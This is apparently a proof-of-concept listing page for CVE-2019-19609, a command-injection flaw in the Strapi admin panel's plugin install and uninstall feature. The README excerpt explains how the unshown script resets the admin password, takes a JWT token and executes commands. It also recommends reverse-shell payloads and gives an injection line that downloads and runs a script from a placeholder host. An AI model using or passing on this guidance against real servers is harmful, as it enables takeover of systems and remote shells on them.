CVE-2019-19609 PoC — Strapi Admin面板Install and Uninstall Plugin组件输入验证错误漏洞

Source

Associated Vulnerability

Description

Strapi Framework, 3.0.0-beta.17.4

Readme

The script will try to reset the password to the one declared in the "updated_pass" variable, if it succeeds - it will give a JWT token from Strapi and use it to execute commands.
Executing bind commands won't work unless sending a reverse shell payload, with bash or python or whatever. You can generate a .sh file that will download nc for you and execute it, or anything really. Even elf. In order to do that, change the payload_exp from && to the ). For example, && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo)
URL no longer active

File Snapshot

 [4.0K]  /data/pocs/d0d217c52f466fb59ea816d3e7bbb593c5db989e
├── [1.7K]  cve_outdated.py
└── [ 532]  README.md

0 directories, 2 files

Remarks